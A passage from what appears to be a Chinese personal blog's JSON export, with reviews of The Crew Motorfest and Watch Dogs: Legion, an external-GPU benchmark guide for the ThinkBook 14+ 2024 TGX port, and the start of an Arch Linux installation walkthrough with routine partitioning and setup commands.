我从未见过三代一贯全程联网的赛车游戏，更别说稳定性越做越烂的了。我相信应该不会有人对一个经常性连不上，且连上几十分钟断一次的游戏满意，更何况我使用的还是CN2线路，大概算是中美之间民用最好的线路了。\n全程联网这个事情之前就喷过一次，此次就不再赘述了。即使连上，路上也全是AI车，根本看不到活人。这个问题已经成为我眼中这款游戏最大的减分项了。更何况育碧也有黑历史，比如初代《飙酷车神》关服后，玩家就再也没法玩了，连个离线补丁都没有。\n赛季活动真没几个人 地平线的另一个联网玩法是共享调校和涂装（也就是抄作业）。TCMF只有后者，可允许的涂装层数很少，而且加载很慢。更别说地平线也不用处于多人游戏也能抄作业。\n与极限竞速不同的是，每周活动计分都会有排名。随便打了两个赛事，排名就来到了13841，这游戏怕是真没几个活人打了。线上联机比赛也N久匹配不到人，这下全程联网的意义就更加不明确了。\n是嘉年华，更是文化大杂烩 既然有了《轰鸣盛典》副标题，那么玩法上势必与前两作大有不同。\n与地平线的赛事摊大饼、故事线独立不同，TCMF的赛事完全附属于17个剧情线中。也算是RAC特色的是，剧情的质量比较一般，但确实覆盖了许多不同的赛车文化，比如JDM、美式肌肉，甚至还有方程式赛车，这下把隔壁极限竞速正作也给打包过来了（不是）。\n赛事的质量可圈可点，氮气车道、P房换胎等独特机制也为赛事平添了乐趣，赛道周围契合主题的装潢也各有特色。语音不出戏就是赢，补充背景的角度上还是很好的。比地平线精心准备的四五个表演赛当然是差的，但胜在每场剧情赛事都会做一些特别设计。每个列表开始前还会播一段真人视频，但一个小槽点是视频分辨率极低，肉眼感觉像一块一块的马赛克。\n丢失了全美大地图很遗憾，但地图大小还算可以接受的，比赛的长度反而相对更长了，七八分钟的赛事比比皆是。地貌也还算全，又走上了其他RAC的缝合怪老路，所幸质量还可以，基本能够随心所欲的越野，但可惜也塞了很多不可破坏的物体，比如护栏（极品飞车18似曾相识）。\n总之，在办“嘉年华”这个事情上，我认为已经强于极限竞速地平线了。\n车是核心，还好没丢掉 要跟地平线叫板，（不止是）车单当然要大。虽然同一个车型搞多个版本充数的行为比隔壁有过之而无不及，但育碧这次也是诚意满满地塞进了超过600种载具，个人对缺少992GT3耿耿于怀，但比NFS连丰田都没谈下来还是好了很多，品牌广度和深度都有了。\n本作的车内视角是一大亮点。NFS系列模型细致但很多没有车内视角，车单也较小；FH系列车单大且有车内视角，但祖传模型精度堪忧，不忍直视。非常欣喜地看到，TCMF在这两方面同时做到了差强人意，除了车单比较大外，车内外的模型也尚可。\n车内视角（McLaren Senna GTR） 作为一个娱乐向赛车游戏，手感也是十分核心的一环。相比于地平线和NFS Payback等几个较容易操控的作品来说更难，但并没有NFS Unbound那么反人类。要更注重刹车时机，推头和转向过度的惩罚也更严重。漂移风格并非傻瓜式的break to drift，而是需要一定的调校和技巧，前者在无法抄作业的情况下会显得有些门槛，日本剧情的漂移赛中手感也有些劝退。\n蛮有细节，但只有一点 育碧在游戏里塞了不少细节，还没在其他游戏里看到过。比如车内视角，以五六十的速度慢慢开，车手会把左手搭在窗沿上，不操纵打方向的时候，车手也会左打右打维持车子平衡。手柄震动也相对比较细腻，虽然缺失了地平线5作为亲儿子的特色扳机振动，但是打滑、换挡、过草地等都有不同的震动反馈。\n也有些细节没处理好，与上面一对比令人匪夷所思。电动车起步也有燃油车一样的引擎声和手柄振动，Motorsport赛事的轮胎消耗也似乎跟驾驶的激烈程度没有什么关系，只跟走多远有关。\n画质总体上还行，但赛道有一种塑料感，尤其是稍微离远一点的时候。无需怀疑画质，我开的最高。\n不只是赛「车」游戏？ 到现在为止，本文提到的都是TCMF作为赛车游戏的一面。在陆地交通工具之外，本作也确实保留了前两代的载具切换，还可以开飞机或者开船。确实能开，但是能和车一样好玩吗？答案是有点难。\n作为一个手柄玩家，飞机的手感还算可以理解，而且能看得出来，育碧已经很努力让开飞机变得简单了。滑行几十米就能起飞，几乎垂直往上飞却不会失速，甚至撞到地上还能拉起来继续飞，简直可以称为育碧耐摔王，甚至可以用它俯冲攻击珍珠港军舰。即使是观光任务送的飞机，也能达到250左右的巡航速度，在快速旅行点较少的前期，飞机是一个很好的点对点旅行的选择。\n飞机赛事倒是蛮用心的，检查点给得比较大，而且只有一个人飞，不会出现好几架飞机钻一个检查点到处撞的情况。\n游戏还把按压右摇杆分配给了快捷载具切换功能，在陆地、空中、水面各选定一种载具中切换。然而，这种切换并没有限制载具的位置，所以也可以无缝从飞机切换到车辆，就像下面这样进行一个炫酷的组合技——\n这就是我们热血沸腾的组合技口牙 空-陆转换还好，在水里就没有这么幸运了。车会直接沉入水底，然后过几秒才能回到陆地上，船则更惨，在陆地上动弹不得。\n甚至可以在水面上切换到车辆 至于船，则没有飞机打磨得这么好了。小船又灵活又快，当水里灵活的狗就能苟赢；大船笨重，转向不灵敏，数条船穿过一个小检查点玩家又撞不动别人，属实折磨。\n","date":"June 5, 2024","matchCount":0,"permalink":"/post/the-crew-motorfest/","preview":"","title":"《飙酷车神：轰鸣盛典》：嘉年华不是一日建成的"},{"content":"《看门狗：军团》（Watch Dogs: Legion）在网上评价似乎不咋样，不过我玩起来还是基本满意的。最可惜的地方还是欠打磨，如果育碧再像2077一样打磨三年，或许口碑会比现在好得多。然而没有如果，《看门狗》系列已经没了1。\n游戏时间17小时，已通关主线和部分支线。\n狗味一脉相承 说它祖传也好，发扬光大也罢，看门狗系列历经三次迭代，也确实继承下来了几个黑客小玩法，比如接水管（连电路）游戏，扔蜘蛛机器人，或是随便找个大街上的物体黑入什么的。坦白来讲，本作真没加多少黑客玩法，接水管游戏是1里就有的，黑入车辆等也在2中已经出现了。即使是与实景融合的接水管和蜘蛛机器人，1代的Bad Blood DLC也已初具端倪。\n那么军团的新东西，就是把这些东西由半生不熟做到令人爱不释手。比如任务《心智游戏》中的接线环节，坐落在整座楼中，使用无人机连线也已成为家常便饭。\n接水管（连电路）游戏 再比如任务“在野兽的肚子里”中的无人机穿越服务器集群玩法，其实主要打动我的是这个建模，虽然这个玩法已经屡见不鲜了。\n无人机穿越服务器集群 还有飙车！实话说，任务场景烘托下，虽然开车手感仍然比较奇怪，但是比2077的飙车好玩。主线最后也有一段在随机黑入干扰下的飙车戏，算是致敬狗1的大结局吧。\n飙车 把“群像”塞进育碧式RPG 群像是本作的最大亮点，确实是几乎每个人都可招募，也都有自己独特的能力。或者不如说，本作中随机的人就是由不同的能力组合而成的。每个人都有自己的配音，而且似乎对话都很完整，也没有AI合成味儿，很难想象育碧的巨大工作量。一个人的死亡/重伤或被逮捕也不止会造成回到上一个存档点，而且需要换人；重伤或被逮捕的探员则需要经过现实中一定长度的时间才能继续操控。\n游戏本身就具有多种玩法，刺客流、黑客流、狂战士流，具有不同能力的角色也算是玩法的加强。比如战斗方面，穿制服的阿尔比恩员工，或者能召唤载人载货无人机的角色，都能让出任务方便很多；支援方面，能降低入狱时间的投资人，提高医治速度的医生，招来也确实有用；即使是一群该溜子，也有乞讨技能能讨钱，或者因醉酒而提高近战伤害；甚至可以组一群老奶奶帮，虽然操控起来可能有点挑战性就是了……\n除了能力之外，游戏还会为每个人生成简历。但这个简历看起来不太尊重史实……06年出生的人怎么参加脱欧公投呢？\n简历 但不得不否认的是，这个群像带来的并不全是积极的作用。整个游戏的剧情仍然像是将DedSec作为一个人来看待，而并不是一个团队。在跟人对话（甚至团队简报）中，只是跟当前操控角色对话，并没有和队伍成员商量的情节；只有在几处小队语音中，队友被抓住/暴露位置时，才会感觉到这真的是一个团队。整个主线中，也只有最终战动用了超过一位探员。\n而与上面团队感缺失相反的是，对每个人本身故事描写的缺失。每个人本来既有故事又有能力，一招到DedSec里，就直接融入大集体了。不过以现在的技术水平，确实很难给每个人都做一个任务。总之，如果把团队中的角色看作能换技能组换皮肤的同一个角色，就容易释然了。\n地图方面，虽然对于一款旅游模拟器的期望来说，算是有点小了，但设计也彰显了育碧过人的工业实力，就已有的这片地来看质量还可以。有了无处不在的货运无人机后，载具丰富度再上一层。虽然不可否认通关方式还是那么几种，但工业化的自由也是自由，你说对吧。\n本作的storytelling也维持了育碧一如既往的参差不齐。游戏有5条故事线，坦白说斯凯·拉森的那条线是真的给我造成心灵污染了，虽然基本见不到血，但是处处都透着恐怖，毛骨悚然。具体的我就不剧透了。解放每个行政区的任务也各有特色，上文提到的飙车、接线，也只是其中两种。但免不了地，大部分支线任务就显得重复度有点高了，收到线报，ctOS重建，然后去布鲁姆、阿尔比恩或其他什么地方干掉个人或者偷资料，哦大家又可以反抗了。\n但不得不说斯凯的花园还是很好看的 相比本作，2077在任务的安排上就不太一样了。其主线剧情相对单薄一些，而大量的支线占了很高比例，每一个系列的支线都刻画了一个或一群人的形象。虽然从始至终能操纵的只有V一个人，但得益于剧情的深度和多样性，但就人物的刻画来说，我觉得是远胜于本作的。\n任务还有个蛋疼的地方是指引不清晰，大概是育碧员工认为这已经是理所应当的了。比如任务“信息过载”，驾驶无人机引爆电池，取到电池只给了一个最终目的地，让人一头雾水不知道往哪走。还比如皮卡迪利圆环的阻碍宣传任务，完全想不到用货运无人机把挡着通风口的木箱移开……或许是我自己的问题？\n情怀倒也算一种佐料 众所周知《看门狗》和《刺客信条》系列属于同一个世界观，那在前者中加一点刺客风的东西或许也是可以的吧？于是我们可以看到——\n喜欢狗1/2？狗哥（艾登·皮尔斯，初作主角）整上，扳手也整上！扳手还好，狗哥是真老了，光看脸差点对不上号。本作缺失的大停电通用技能，在艾登身上补回来了，但作用范围削弱了；而扳手的技能则是召唤货运无人机，满伦敦飞比开车都方便，实乃速通必备之选择。\n狗哥+信仰之跃 喜欢刺客信条？信仰之跃整上，“同步”玩法也整上，跃下甚至有鹰叫，只是没有稻草堆了；再来一个弗莱姐弟（《刺客信条：枭雄》的双主角）的后代作为可操控角色，可惜是个黑妹。获取刺客装备甚至有专属地图专属任务（见下图）和三位前代刺客的雕像，布置了很多刺客信条式跑酷，但手感实在不咋地，远不如枭雄的跑酷行云流水。\n《刺客信条：枭雄》 但是——上面这些喜欢吗？都是季票里的内容哦。嗯，不愧是育碧，卖情怀再赚一笔钱，但在这游戏里看到这些元素还是蛮新奇的。\nhttps://www.reddit.com/r/watch_dogs/comments/1cb4bfa/watch_dogs_franchise_dead_following_latest_flop/\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"May 25, 2024","matchCount":0,"permalink":"/post/watch-dogs-legion/","preview":"","title":"《看门狗：军团》：老游戏，新思路"},{"content":"TGX接口是联想在ThinkBook 14+/16+ 2024酷睿版上引入的高速接口，其在现有OCuLink基础上增加了热插拔功能。下文中会混用TGX和OCuLink两种描述，当使用TGX的时候，特指联想的这套方案；而使用OCuLink的时候，也适用其他厂商的通用方案。即便如此，本文仍然较多针对ThinkBook的热插拔方案，其他机型酌情参考。\n使用显卡坞为 开源宇宙EG01M（V410母板）和EXPGDC OCuP4V2；显卡为 铭瑄RTX 4060Ti 8G小瑷珈（双风扇）；笔记本为ThinkBook 14+ 2024 Ultra 7，性能挡位为“极致性能”。 任一设备不同都极有可能出现不同的表现，仅供参考。\n理论性能测试 OCuLink本身并没有类似雷电那样的转换，因此理论上带宽没有任何损耗；但通常使用场景下需要很长的延长线，所以延迟会较高，信号也很容易出问题，且PCIe 4.0 x4喂不饱许多高端显卡，所以实际体验仍会不及理想状态。但在信号质量良好的情况下，不同的显卡坞之间损耗差别不会很大。\n下列测试如未提及均为离屏，没有画面回传开销，所以默认无需分开测内外屏。\nGPU-Z 信息 一些3DMark跑分：\nTime Spy 综合12587分，显卡13134分，CPU 10187分； Steel Nomad DX12 2930分，领先同显卡平均水平1.63%； Speed Way 3167分，落后同显卡平均水平0.93%； Time Spy Extreme 综合5925分，显卡6177分，CPU 4816分。 PCI Express带宽跑分：5.99 Gbps（接外屏，混合输出）。 笔记本架高的情况下，CPU全程温度不低，而4060Ti温度完全上不去，看来双风扇真的完全够。查阅3DMark数据库得知，上述跑分基本持平于同样显卡的台式机，而比同显卡核心（4070 Laptop）的轻薄（全能）本/游戏本有着5~15% 的领先幅度。\n游戏性能测试 下列测试是分开测得，结果仅供参考。当接外接显示器时，有接在显卡上（不经过核显）和接在笔记本上（经过核显）两种方案，类似于部分游戏本内屏的“独显直连”和“混合输出”方案。为了便于理解，套用该称呼进行测试。\n外屏接在独显上时，必须由独显负责渲染。虽然此时不会给核显造成压力，游戏帧数可能更高，也无需重复插拔笔记本上的显示输出接口，但热拔时为了稳妥，需将所有使用独显渲染的应用移至核显，此时使用混合输出就较为方便。另外运行在独显上的应用也会占用显存，对于吃显存的程序比较不友好，在核显上运行可以将部分显存压力转移至内存。\n需要注意的是，以下游戏帧率数据并非主要用于对比损耗（事实上很多项目画质都不一样），主要是展示一个实际使用的预期。\n内屏 内屏的分辨率为3072*1920，比一般人配的2K外接显示器渲染压力更大，也会给核显带来更大的压力。默认均以满分辨率运行。\n《原神》1 4.8版本最高画质，1.5倍渲染，须弥城跑图基本稳定60 FPS，有所跳动。\n《原神》，内屏 《原神》，内屏（帧生成时间图） 《崩坏：星穹铁道》1，最高画质，2.0倍渲染2，「黄金的时刻」跑图，平均38.1 FPS，1% Low 28 FPS，0.1% Low 15.1 FPS。调整到1.4倍渲染后，帧率表现就正常很多了，属于能够流畅游玩的水平。\n《崩坏：星穹铁道》，内屏 《崩坏：星穹铁道》，内屏（帧生成时间） 《飙酷车神：轰鸣盛典》，最高预设，自带基准测试平均46 FPS。\n《飙酷车神：轰鸣盛典》，内屏 《看门狗：军团》，预设“高”+光线追踪“适量”+DLSS “质量”，自带基准测试，平均49.3 FPS，1% Low 36.9 FPS，0.1% Low 16.4 FPS。值得注意的是，基准测试报告已经提及了CPU瓶颈。\n《看门狗：军团》，内屏 《看门狗：军团》，内屏（跑分） 《极限竞速：地平线5》，预设“极端”，开启NVIDIA DLAA，自带基准测试，平均59.9 FPS，1% Low 48.7 FPS。用MSAA替换DLAA，帧数类似。FH5确实是优化比较好的游戏，只不过吃显存有点太多了。\n《极限竞速：地平线 5》，内屏（跑分） 《黑神话：悟空》（性能测试工具），超采样清晰度100%，光追关闭，其他均为高，平均帧率31.8 FPS，1% Low 25.8 FPS。将超采样清晰度设为预设推荐的37%，平均帧率71 FPS，有几次明显感知的卡顿；小核负载较高，怀疑存在调度问题。\n《黑神话：悟空》，内屏，DLAA（跑分） 《黑神话：悟空》，内屏，超采样 37%（跑分） 外屏，混合输出 外屏的分辨率为4K，使用雷电4接口连接显示器。\n《原神》1，5.0版本最高画质（仅供参考，5.0版本提升了画质），1.5倍渲染，须弥城跑图平均52.6 FPS，1% Low 20.6 FPS。并未爆显存，但出现了非常明显的帧数波动。在将渲染倍数调整至1.0倍之后，流畅度可以接受，基本稳定在60 FPS。\n《原神》，外屏混合输出 《原神》，外屏混合输出（帧生成时间图） 《极限竞速：地平线5》 由于显存原因，应该难以使用内屏的画质完成测试，因此降低了部分画质，基本能够流畅运行，效果见下。\n《极限竞速：地平线 5》，外屏混合输出（跑分） 《黑神话：悟空》 （正式版游戏）也换了画质，使用的是我一般玩的时候使用的画质。一般赶路时还算流畅，打怪时可掉到50帧左右；显存占用较为极限，在跑分结果页就可看出，在火焰山翠云殿等复杂场景下由于爆显存，帧率会暴降至30左右。在DLSS性能档，会出现较多升采样带来的远景颗粒感，主体则相对不会太糊，相对而言可以接受。\n《黑神话：悟空》，外屏混合输出（跑分） 《看门狗：军团》 在分辨率提升到4K时，仍然是一个非常吃CPU的游戏。使用推荐画质（见下面第二张），平均帧率仅能达到43 FPS；而开启了DLSS质量档后，帧率基本稳定在60 FPS，但似乎爆了两次显存，帧数降至20 FPS左右（见上面第一张）。\n《看门狗：军团》，外屏混合输出（跑分） 《飙酷车神：轰鸣盛典》，与上面画质相同，平均帧率42.3 FPS，1% Low 36 FPS。少见一些小卡顿。显存占用怎么还更低了……？\n《飙酷车神：轰鸣盛典》，外屏混合输出（跑分） 《飙酷车神：轰鸣盛典》，外屏混合输出（帧生成时间） 《崩坏：星穹铁道》，上述画质不变，在使用 ，在2.6版本更新「折纸大学学院」地图后，出现了剧烈的卡顿，在中央广场上平均帧率只有约30左右。同时，显卡占用率仅有三分之二，CPU功耗却居高不下，在45~50W左右。怀疑是CPU瓶颈造成的。\n外屏，独显直连 懒了，可能不测了\n方案 这一段主要聊聊现有OCuLink显卡坞的产品。\n品牌 联想 为自己的TGX接口研制了专用的显卡坞，具有定制的协议，所以这也是目前只有联想笔记本能做到热插拔的原因。联想官方TGX显卡坞相对来说比较精致，用料也足一些，确实能够配得上1000块钱，只不过对大部分人来说应该还是贵了。理论上应该是最稳定的，售后大概也不好意思不理，但仍有报告蓝屏的现象。仅支持N卡和带TGX接口的ThinkBook机型。传闻称其热插拔的秘密在于主动线。\n开源宇宙（开原宇宙、开猿宇宙、GZOSMETA）3 主业为GPU服务器（我怀疑就是矿机），显卡坞是个副业，但是宣传比较卖力，销量和知名度相对也较高。光淘宝就有三个官方店，其中包含一个官方二手回收店（目前不知道是否良心），客服人手似乎较紧缺。型号相同的显卡坞可能有多种规格（母版、静音电源风扇等），买二手前需先问清楚。在618前后做到了TGX接口N卡热插拔，A卡比较玄学（可能由于信号原因）。有一个售后群，进去摸底比较方便。由于不太乐意加独立信号增强芯片，成本确实低了（体现在618折扣上），但线必须焊在母版上不能插拔，而且长度有限制。玄派 的显卡坞也是其贴牌产品。\nEXP GDC 知名度不太高，之前在国际市场摸爬滚打比较多。在联想TGX显卡坞量产开售前做到了TGX接口热插拔。部分产品用信号增强芯片，做到了可换线，以及可选1m线 （实测50cm够用）。热插比较考验手法，但失败重插即可，目前没遇到过蓝屏。客服响应还不错（毕竟没有那么多人买）。\n天钡 主业是做迷你主机，有一款AG01，顺便也上了TGX热插拔。其余的不了解，不评论。\n诺方恒科 （同时经营淘宝店“DIY玩家世界”）是这些厂商中支持热插拔最便宜的一个（转接板仅170元），但产品也较为狂野（低情商：简陋），就一块板子，明说了没有技术支持。其余不了解，不评论。\n有些其他的OCuLink显卡坞厂商，未做TGX热插拔，对于TB14+ 2024用户来说，我认为没有购买价值。但是现存的OCuLink显卡坞也可以使用。\n形态 较为早期的显卡坞，有许多是在母版上面安装电源和显卡，开放式无机箱的方案，如开源宇宙GK01ATX、EXPGDC OCuP4V2等。电源必须自己配，是好处也是坏处，因为RTX40系显卡的功耗不那么高，高质量的低功率电源却难以找到；由于是开放式设计，理线和噪音也需要多考量。我为了带4060 Ti买了个全汉MS450，虽然这玩意是有名的刚过及格线，但好在低负载风扇声音非常小4，而且是全模组电源，我认为是TDP 450W以下显卡的性价比与体验最佳平衡点。开源宇宙、EXP GDC和诺方恒科均有该形态的产品。理论上PCIe可能与5GHz WiFi的频段互相干扰，ThinkBook产品经理指的可能就是这件事。\n有的厂商会单独卖个壳，把母版、电源和显卡一起包起来，也有的厂商选择一块儿卖。多点儿电磁屏蔽效果，美观和便携性也强一些。散热倒也不用担心，外接显卡的散热基本是最好做的了。\n开源宇宙喜欢设计很多形态，如EG01M将一个长城CRPS电源放置在母版和显卡下方，有效地节省了桌面空间，该形态也被天钡学去。EXP GDC还设计了一个使用笔记本现有电源或氮化镓充电器的方案（OCuP4GaN），最高330W，价格比较高，我觉得不值得。\n显卡搭配 首先讨论范围限定于NVIDIA和AMD显卡。其他小厂主要是驱动仍然不够稳定完善，无论是新购还是已有，个人都不建议尝试。在这两家中，外接AMD相比于NVIDIA稳定性又更差，尤其是数个GRE特供卡。A卡要实现开源宇宙显卡坞的热插拔，不光需要外接显示器（或欺骗器，否则显卡不工作），而且还有运气的成分在；而联想原厂TGX显卡坞则完全没有提到A卡支持。本节后续将主要以N卡作为例子，可以自动带入对应等级的A卡。\n不支持PCIe 4.0的老型号也不建议购买。即使实际性能可能较强，它们也只能运行在PCIe 3.0 x4（甚至更前代）的带宽上5，即32GT/s（约4GB/s），相比上限PCIe 4.0 x4的64GT/s低了一半。在台式机上，与PCIe 3.0 x16相比，x4会带来平均约8% 的损失，且损失随分辨率降低而升高（以2080Ti为例6）。类似的带宽瓶颈还存在于RTX 4080或更高性能的型号上。个人观察来说，有较多购买RTX 4070/4070S/4070Ti的用户进行外接，网络上也可以找到很多搭配这些型号的测试，这些型号损耗一般在10% 以内。\n性能不太高的显卡，新购外接也要斟酌一下。RTX 4060移动端和桌面端规格完全相同，在散热较良好的16寸笔记本内，独显型号和核显外接，游戏性能没有本质差距，反而因信号不佳，更容易出问题；而在捉襟见肘的14寸空间内，伴随着天选Air的发布，独显本TDP的分配也更为充裕了。因此对于该等级的显卡，更应考虑CPU的性能需求，而非仅仅游戏性能。至于更低规格的卡，则外接的必要性更低。\n当然，上面围绕着新购的场景说了这么多，并不完全适用自己有卡的场景。哪怕是自己有A卡或者老型号，在有适合笔记本的情况下，也可以组来试一试，许多显卡坞厂商的退货政策非常宽松。\n我适合用TGX外接显卡吗？ 个人意见，不建议任何【对PC硬件没有充足了解】或【对稳定性有更高要求】者，现阶段购买使用OCuLink（含TGX） 显卡坞。例如，即使是使用联想原厂显卡坞，也仍然有一些小问题，而且不一定是显卡坞造成的；开源宇宙虽然经过长时间迭代，售后群内也仍然出现零星的不认卡、蓝屏等问题。\n另外除了稳定性和上手难度问题外，综合与类似方案（独显轻薄本、传统游戏本、轻薄本+台式机、雷电显卡坞）的比较，我认为符合如下条件的人群可以尝试一下：\n在乎显卡的性能释放/升级空间。14寸配的独显基本都4060封顶，而显卡坞大多为开放式设计，散热条件极佳，也可以换更高端的卡。雷电显卡坞损耗很大，无法实现线性的性能增长。需求较低时（低于60级别卡），无需外接。 不那么在乎CPU性能。酷睿Ultra的表现大家有目共睹，与游戏本/台式机的标压CPU有较大差距，而且没有更换升级空间。不过分离显卡确实可以给CPU多分点功耗。 需要较强的便携性，而且懒得同步资料。前一句针对的是游戏本，后一句针对的是轻薄本+台式机。只是受限于CPU性能释放，带OCuLink的本不会太轻薄。 不需要任何地点都有较强的性能。显卡坞不适合也不便于频繁运输，就像台式机一样。独显轻薄本的便携优势仍然十分明显。 需要性价比，但不追求极致的性价比（仅计新购）。4070的游戏本都干到6500价位了，但OCuLink方案仍比雷电扩展坞和顶级独显轻薄本便宜。 不太在乎噪音。ThinkBook 14+ 的散热并不算很出色，且轻薄本风道设计导致恼人的高频噪音明显占比较台式机与游戏本大。 不在意买N卡。这倒也是稳定性的一环，A卡玄学问题还是有点多，更不要提什么I卡什么摩尔线程了。 总结 虽然OCuLink外接显卡并不是什么新东西，但由于破坏性开孔等原因，一直是小众的玩具。直到联想在机身上自带了TGX，并实现了热插拔，才真正使其接近实用。未来联想会不会推广此方案、其他厂商是否有动力实现还是未知数，但起码目前，TGX已经从玩具到实用迈出了最大的一步。\n然而还是可以看到，本代ThinkBook 14+ 的方案仍然有一些不该有的问题。除了原厂也无法解决的稳定性问题外，还有CPU日常高居100度以上的高温以及随之而来的频繁撞墙\u0026amp;噪音，这显然不是令人满意的表现。\n希望之后的产品能够安心做好CPU的散热，为主板加强保护，以及更多厂商参与到类似TGX的热插拔OCuLink机型上来。如果联想的方案经过不断的改善，成为了事实标准，那么生态对玩家来说也会好很多。\n值得注意的是，米哈游的游戏在使用外接显卡时，常出现一些不同寻常的卡顿，期间帧率降到个位数，声音明显卡顿，输入延迟以秒计，持续数秒的样子。其他厂商的游戏（包括同样使用Unity引擎的《城市：天际线2》）未出现该种情况。至于是不是显卡PCIe带宽瓶颈，还有待排查。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n实际游玩时2.0倍渲染和1.4倍渲染几乎没有区别。1.4倍渲染时即可达到稳定60 FPS。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n由于商标问题，这四个名字皆有使用。产品设计并不开源。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMS450在温度不太高的时候可以停转风扇，但由于显卡待机时也会有发热，通过背板将热量传递给电源，所以风扇会持续低转速旋转，噪音几乎无感知。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n把PCIe类比成水管：RTX 2080 Ti具有16条直径为8的水管，即使接上显卡坞上4条直径为16的水管，也只能看作4条直径为8的水管来用。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n均为游戏测试；见 https://www.techpowerup.com/review/nvidia-geforce-rtx-2080-ti-pci-express-scaling\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"May 10, 2024","matchCount":0,"permalink":"/post/thinkbook-14plus-oculink/","preview":"","title":"ThinkBook 14+ 2024 的 TGX 外接显卡指南详解"},{"content":"TL;DR：使用EndeavourOS的LiveCD可以与官方ISO一样安装Arch Linux，还能享受Gparted、浏览器、文字编辑器等图形界面软件的便利。\n在数次尝试中，使用Arch Linux官方LiveCD的tty界面安装系统总是令我感觉十分不便，或许我还是需要一个带图形界面的安装器，但又不愿意抛弃命令行安装方法。然而，虽然Arch Linux并没有提供图形化LiveCD，但是与其共享同一个软件库的EndeavourOS有啊！LiveCD里带的工具也算比较全乎。\n理论存在，开始实践。\n分区 分区反倒是我觉得最困难的。\n这一步要先考虑好将内核镜像装到EFI分区还是系统分区 /boot里面（对应 EFI 分区的挂载点）。前者会多花至少100MB空间，但不管怎么样，都应该先保证EFI分区空间足够。联想给了一个仅260MB的EFI分区（/dev/nvme1n1p1），而且后面跟着的就是MSR和Windows系统分区，不敢动，所以选择后者，又不是不能用.jpg。\n然后可以先将Arch的系统分区分出来了。我分了一个Btrfs分区（/dev/nvme0n1p2），有两个子卷 @ 和 @home，分别挂载到 / 和 /home。分区操作很容易使用Gparted搞定，然后在终端中输入：\nsh 复制代码 sudo btrfs subvolume create /mnt/@ sudo btrfs subvolume create /mnt/@home sudo umount -R /mnt sudo mount -o subvol=@ /dev/nvme1n1p2 /mnt sudo mount --mkdir -o subvol=@home /dev/nvme1n1p2 /mnt/home sudo mount /dev/nvme1n1p1 /mnt/efi 1 2 3 4 5 6 sudo btrfs subvolume create /mnt/@ sudo btrfs subvolume create /mnt/@home sudo umount -R /mnt sudo mount -o subvol=@ /dev/nvme1n1p2 /mnt sudo mount --mkdir -o subvol=@home /dev/nvme1n1p2 /mnt/home sudo mount /dev/nvme1n1p1 /mnt/efi 这时候带一个桌面环境的LiveCD的优势又体现出来了：可以一边用Gparted看分区，一边在终端里操作。\n安装 然后就是正常的安装流程了。换完源之后进入root账户，然后：\nsh 复制代码 pacstrap -K /mnt base linux linux-firmware nano intel-ucode btrfs-progs networkmanager iwd man-db man-pages # 每人需要的包不同 genfstab -U /mnt \u0026gt;\u0026gt; /mnt/etc/fstab 1 2 pacstrap -K /mnt base linux linux-firmware nano intel-ucode btrfs-progs networkmanager iwd man-db man-pages # 每人需要的包不同 genfstab -U /mnt \u0026gt;\u0026gt; /mnt/etc/fstab 建议在生成完fstab之后检查一下，确定btrfs的子卷挂载点是对的。然后就是chroot进入新系统，设置时区和硬件时间：\nsh 复制代码 arch-chroot /mnt ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime hwclock --systohc 1 2 3 arch-chroot /mnt ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime hwclock --systohc 以及本地化、主机名、密码等等，参考Arch Wiki就行了，不要忘了。也可以先enable一下NetworkManager和iwd的service。\n然后是引导器，我使用rEFInd，先按照Wiki中的步骤安装即可，会自动添加Btrfs驱动。注意其chroot环境下会添加LiveCD的分区信息（而非新系统的），所以不如全图图掉，从 Arch Wiki 示例上换个新的 /boot/refind_linux.conf（chroot路径），以下配置已加入Btrfs子卷配置。\nplaintext 复制代码 \u0026#34;Boot using default options\u0026#34; \u0026#34;root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw rootflags=subvol=@ add_efi_memmap initrd=@\\boot\\intel-ucode.img initrd=@\\boot\\amd-ucode.img initrd=@\\boot\\initramfs-%v.img\u0026#34; \u0026#34;Boot using fallback initramfs\u0026#34; \u0026#34;root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw rootflags=subvol=@ add_efi_memmap initrd=@\\boot\\intel-ucode.img initrd=@\\boot\\amd-ucode.img initrd=@\\boot\\initramfs-%v-fallback.img\u0026#34; \u0026#34;Boot to terminal\u0026#34; \u0026#34;root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw rootflags=subvol=@ add_efi_memmap initrd=@\\boot\\intel-ucode.img initrd=@\\boot\\amd-ucode.img initrd=@\\boot\\initramfs-%v.img systemd.unit=multi-user.target\u0026#34; 1 2 3 \u0026#34;Boot using default options\u0026#34; \u0026#34;root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw rootflags=subvol=@ add_efi_memmap initrd=@\\boot\\intel-ucode.img initrd=@\\boot\\amd-ucode.img initrd=@\\boot\\initramfs-%v.img\u0026#34; \u0026#34;Boot using fallback initramfs\u0026#34; \u0026#34;root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw rootflags=subvol=@ add_efi_memmap initrd=@\\boot\\intel-ucode.img initrd=@\\boot\\amd-ucode.img initrd=@\\boot\\initramfs-%v-fallback.img\u0026#34; \u0026#34;Boot to terminal\u0026#34; \u0026#34;root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw rootflags=subvol=@ add_efi_memmap initrd=@\\boot\\intel-ucode.img initrd=@\\boot\\amd-ucode.img initrd=@\\boot\\initramfs-%v.img systemd.unit=multi-user.target\u0026#34; 这时候图形界面的另一个优点就体现出来了，可以直接从Arch Wiki里方便地复制内容。这里的PARTUUID可以用 blkid 查看，输入Btrfs分区的UUID即可（子卷的你也找不到啊）。另外不要忘了针对性地更改 /efi/EFI/refind/refind.conf（chroot路径），以检测Arch Linux 